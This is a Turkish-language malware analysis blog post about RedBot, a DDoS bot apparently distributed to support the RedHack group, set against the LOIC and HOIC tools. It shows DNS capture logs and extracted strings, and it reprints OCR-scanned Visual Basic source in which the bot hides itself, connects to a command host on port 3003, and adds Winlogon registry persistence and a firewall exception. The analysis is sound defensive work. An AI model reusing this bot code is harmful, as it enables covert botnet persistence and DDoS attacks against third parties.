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Anonymous grubu, 2010 yilindan bu yana gerceklestirmis oldugu DDOS (dagitik
hizmet disi birakma saldirisi) saldirilarinda acik kaynak kodlu Low Orbit Ion
Cannon (LOIC) aracindan ve 2012 yilindan bu yana gerceklestirdigi
saldirilarda ise High Orbit Ion Cannon (HOIC) aracindan faydalanmaktadir. Tek
basina DOS (hizmet disi birakma saldirisi) saldirisi gerceklestirebilen bu
araclar birden fazla kisinin ayni anda ayni hedefe saldiri gerceklestirmesi
ile DDOS saldirisi gerceklestirebilmektedir.

Basindan sikca duymus oldugunuz bilgisayar korsanlari X sitesini hackledi
seklinde yapilan haberlerin ¢ogu yanlis olarak ifade edilmektedir cunki
gerceklestirilen siber saldirilarin blyudk bir orani DDOS saldirilari ile
gerceklestirilmekte, hedef siteye/sisteme erisimler engellenmektedir. X
sitesi hacklendi diyebilmek icin siteye/sisteme ve sitede/sistemde yer alan
verilere yetkisiz erisimin saglanmasi gerekmektedir. (Basin mensuplarina
duyurulur!)

Bu grubun saldirilarina destek vermek amaciyla dagitilan ve destekciler
tarafindan sistemlerinde calistirilan bu arag¢lardan LOIC ve tlrevleri, arac
ile tanimli gelen IRC sunuculara baglanarak saldiriyi gerceklestiren gruplar
tarafindan yonetilen kanallara/odalara giris yapmakta ve uzaktan saldiri
komutu almasini saglamaktadir. HOIC ve tirevleri ise saldiri 6éncesinde
dagitilan booster denilen betiklerin (script) araca ylklenmesi ve saldir
komutunun kullanici tarafindan verilmesi ile gerceklestirilebilmektedir. LOIC
araci ile UDP, TCP ve HTTP protokollerine yonelik DDOS saldirilari
gerceklestirilebilirken HOIC ile sadece HTTP protokoliine yonelik saldirilar
gerceklestirilmektedir. HOIC araci ile gerceklestirilen HTTP protokoline
yonelik saldirilar, LOIC aracina kiyasla imza tabanli sistemleri atlatmaya
yonelik 6zellikleri olmasi (rastgele uUretilen HTTP basliklari gibi) nedeniyle
daha etkilidir.


https://www.mertsarica.com/redbot-analizi/
https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
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Gectigimiz ginlerde bir arkadasim, Twitter hesaplari lzerinden son aylarda
gerceklestirdigi siber saldirilar ile adindan sikca s6z ettiren RedHack
grubunun DDOS saldirilarina destek vermek amaciyla RedBot adinda benzer bir
aracin yayinlandigini ileterek analiz etmemi rica etti ve ben de vakit
kaybetmeden ise koyuldum.

RedBot.rar dosyasi icinde yer alan metin dosyasina g6z attigimda aracin
yukarida bahsettigim diger araclar ile ayni amaca hizmet ettigi
anlasiliyordu.

RedBot Redhack grubunun saldirilarini_Bilgisayariniz Uzerinden yonlendiren Bir araci yazilimdir.
Bilgisayarimz igin virus vb. yazilimlar Tagimaz Bilgisayariniz sanal bir saldiri Adina dahil Eder.
Amac1 Daha Fazla Bilgisayari Kullanarak Etkili saldirilar Gerceklestirmektir.

Birkez Calistirmaniz yeterlidir.

paha Sonra 5aldiri oldugunda Kendiliginden Calisacaktir.



RedBot aracini (RedBot.exe — SHA256:
€30240d550d2c86b0fOb71dccOeed36ad5134c9ce630ca94d2137bfb38f2ec2d)
calistirdigimda mswinsck.ocx dosyasinin sistemde bulunmamasindan 6tiri hata
vererek calismayi reddeti. Ardindan ilgili dosyayi sisteme kopyalayip
calistairdiktan sonra arka planda RedBot.exe adi altinda calismaya basladigini
ve Wireshark araci ile yarattigi trafigi izledigimde ise iki farkli DNS
sorgusuna ait kayit yaratmasi dikkatimi cekti, v.kizilhack.org (bir sorgu) ve
igmooky.no-ip.org (onlarca sorgu)

[ redbot.pcap [Wireshark 1.8.0 (SVN Rev 43431 from /trunk-1.8] E@Iﬂ

I Eile Edit View Go Capture Analyze Statistics Telephon! Tools Internals Help |
B XR2Ela¢»»TFL [EF QD 488 x| B
Filter: | dns IZI Expression... Clear Apply Save
MNao. Time Source Destination Protocol Length Info -
. 806247 192.168.159.129 168.159.2 > 75 standard gquery Ox9ce6 A v.kizilhack.org B
120 185.040716192.168.159.129 192.168.159.2 DNS 86 standard query Ox3c66 PTR 2.159.168.192. in-addr.arpa
121 185.115102192.168.159.2 192.168.159.129 DNS 86 standard gquery response 0Ox3c66 No such name
122 185.133263 192.168.159. 2 192.168.159.129 DNS 91 standard query response 0x9ce6 A 98.124.199.1
( 127 188.345336192.168.159.129 192.168.159.2 DNS 86 standard gquery Ox479c PTR 1.159.168.192. in-addr. arpa I
128 188.346804 192.168.159.129 192.168.159.2 DNS 88 standard query Ox7e29 PTR 250.255.255.239.in-addr.arpa =
I 129 188.348900192.168.159.129 192.168.159.2 DNS 85 standard gquery Oxcbd?7 PTR 1.199.124.98.1in-addr.arpa I
[l 130 188.414153192.168.159.2 192.168.159.129 DNS 145 standard query response 0x7e29 No such name
131 188.421949192.168.159.2 192.168.159.129 DNS 86 standard guery response 0x479c No such name
132 188.424048192.168.159.2 192.168.159.129 DNS. 122 standard query response Oxcbd? PTR redirector-sjl.enom.com U
I 138 194.795339192.168.159.129 162.168.159.2 DNS. 77 standard query 0x91d2 A igmooky.no-ip.org i
139 195.195882192.168.159. 2 192.168.159.129 DNS 137 standard query response 0x91d2 [
I 140 195.202572192.168.159.129 162.168.159.2 DNS. 89 standard query Oxf568 A igmooky.no-ip.org.localdomain |
| 141 196.199412192.168.159.129 192.168.159.2 DNS. 89 standard query Oxf368 A igmooky.no-ip.org.localdomain
I 144 198.199815192.168.159.129 162.168.159.2 DNS. 89 standard gquery Oxf568 A igmooky.no-ip.org.localdomain
149 204.795910192.168.159.129 192.168.159.2 DNS. 77 standard query 0Ox255%a A igmooky.no-ip.org
150 204.863356192.168.159.2 192.168.159.129 DNS 137 standard query response 0x255a
151 204.867337 192.168.159.129 192.168.159.2 DNS. 89 standard query 0x3e03 A igmooky.no-ip.org.localdomain
152 205.855058192.168.159.129 162.168.159.2 DNS. 89 standard query 0Ox3e03 A igmooky.no-ip.org.localdomain
156 207.855256192.168.159.129 192.168.159.2 DNS. 89 standard query 0x3e03 A igmooky.no-ip.org.localdomain
159 214.811898192.168.159.129 162.168.159.2 DNS. 77 standard query Oxlae5 A igmooky.no-ip.org -
| [ | 3
Authority RRs: 0 -
Additional RRs: O
= Queries
= v.kizilhack.org: type A, class 1IN
Name: v.kiziThack.org E
Type: A (Host address) |i|
Class: IN (0x0001) -
0000 00 50 56 fe 8 cB8 00 Oc 29 75 Od 93 08 00 45 00 .PV..... JulEs i
0010 00 3d 00 7b 00 00 80 11 7a 60 c0 a8 9f 81 c0 a8 BEY R @
0020 O9f 02 dd cb 00 35 00 29 a2 73 9c e6 01 00 0D 01  ..... e e e |E|
0030 00 00 00 00 00 00 01 76 09 6b 69 7a €9 6c 68 61  ....... v .kizilha _I
0040 63 6b 03 6f 72 67 00 00 01 00 01 ck.org.. ... o
("] @' File: "C:\Users\Mert\Desktop'\KizilYazilim're... | Packets: 209 Displayed: 37 Marked: 0 Load time: 0:00.017 | Profile: Default

Microsoft Sysinternals‘in Process Explorer araci ile RedBot aracinda tespit
edilen dizileri (string) inceledigim zaman aracin gelistirildigi klasor
bilgisinden aslinda bu aracin Visual Basic ile 2007 yilinda gelistirilmis
olan Double DDOS aracinin modifiye edilmis hali oldugunu go6rdim.


http://technet.microsoft.com/en-US/sysinternals
http://technet.microsoft.com/en-us/sysinternals/bb896653

RedBot.exe: 2220 Properties

Image | Performance || Performance Graph || Threads | TCPYIP || Security || Environment | SErings |

Printable ztrings found in the zcan;:
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SOFTWARE \Microzofthwindows M TACurentyerzsionh\winlogon

Shell

Explarer. exe C:NWINDOWS winlogon. exe

- Attacks Enabled

SY'STEMAControlS et001hS erviceshSharedd coess\Parameters\FirewallPolicy StandardProfilebauthornzedédpplications . List
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Status:
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Status: [ lcmp - Attack Enabled

Status: [Apache - Already Enabled]

Statuz: [ Apache - Attack Enabled ]

Statuz: [HTTP - Already Enabled] 7
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Double DDOS aracinin kaynak kodunu inceledigimde ise RedBot ile bu aracin
hemen hemen ayni oldugunu sadece kaynak kodununun iki farkli yerinde bulunan
igmooky.no-ip.org adresinden sadece bir tanesinin v.kizilhack.org olarak
degistirildigini, digerinin unutuldugunu bu nedenle belirli zaman
araliklarinda saldiri komutu almak icin v.kizilhack.org adresine 3003.
baglanti noktasindan (port) baglanmasi gerekirken 6n tanimli olan ve gecerli
olmayan igmooky.no-ip.org adresine 3003. baglanti noktasindan baglanmaya
calistigini gordim.
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With pckt
apchsocket(Index).Close
apchsocket(Index).Connect .Ip, .Prt
End With

End Sub

B

4 Selution 'Selutionl’ (0 projects)

=IPrivate sub apchsocket_SendComplete(Index As Integer)
On Error Resume Next

With pckt

apchsocket(Index).Close

apchsocket(Index).Connect .Ip, .Prt

End With

End Sub

=Private Sub Form_Initialize()
On Error Resume Next
App.Taskvisible = False
Me.visible = False

App.Title = "*

Me.Caption = ""

exeopen = GetSetting(“myapp”, "Setting”, "Setting")

If execpen = @ Then

exeopen = 1

SaveSetting “myapp”, "Setting”, "Setting”, exeopen

End If

With Winsockl

.Close

.Connect "igmooky.no-ip.org", 3883 'GetSetting("win32b", "Software"”, "address"), CInt(GetSetting("win32b", "Software", “port"))

End With

Call SaveSettingString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlegon"”, "Shell", "Explorer.exe C:\WINDOWS\winlogen.exe")

Call SaveSettingString(HKEY_LOCAL_MACHINE, "SYSTEM\ControlSetd@l\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List", "C

End Sub

Private Sub Form_Load()

0% ~ |

Buna ilave olarak aracin calaistirildiktan sonra kayit defteri (registry)

tUzerinde degisiklikler yaparak kendisini Windows Glivenlik Duvari’nin
(Firewall) istisna (exception) listesine ekleyerek ilgili adreslere
baglanmasini, sistem yeniden baslatildiktan sonra tekrar calisabilmesi icin
C:\WINDOWS\winlogon.exe satirini HKEY LOCAL MACHINE,
“SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon anahtarina ekledigini
ve aracin kendisini winlogon.exe adi altinda Windows klasoru altina
kopyalamadigi icin sistem yeniden baslatildiktan sonra calisamadigini gordim.

Call SaveSettingString(HKEY LOCAL MACHINE, "SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe C:\WINDOWS\winlogon.exe")
Call SaveSettingString(HKEY LOCAL MACHINE,
"SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Standar
dProfile\AuthorizedApplications\List", "C:\WINDOWS\winlogon.exe",
"C:\WINDOWS\winlogon.exe")

Kaynak kodu sayesinde ileri seviye analize ihtiyac¢ duymadan elde ettigim
bilgiler sonucunda aracin eski, dizgin yapilandirilmamis olmasi ve temel
dizeyde tek tip UDP, TCP, ICMP ve HTTP saldirilari gerceklestirmesi nedeniyle
tespit edilmesinin ve engellenmesinin Anonymous grubu tarafindan kullanilan
LOIC ve HOIC arac¢larina kiyasla daha kolay oldugunu ve aracin saldiri komutu
almak disinda baska bir amaca (dosya sistemine erisim, baska zararli dosyalar

indirme gibi) hizmet etmedigini sOyleyebilirim.



Bir sonraki yazida goOrismek dilegiyle herkese giuvenli ginler dilerim.

Not: An itibariyle RedBot aracini 42 Antivirds yazilimindan sadece 16 tanesi
taniyabilmektedir. VirusTotal raporuna buradan ulasabilirsiniz.


https://www.virustotal.com/file/c30240d550d2c86b0f0b71dcc0eed36ad5134c9ce630ca94d2137bfb38f2ec2d/analysis/1346509259/

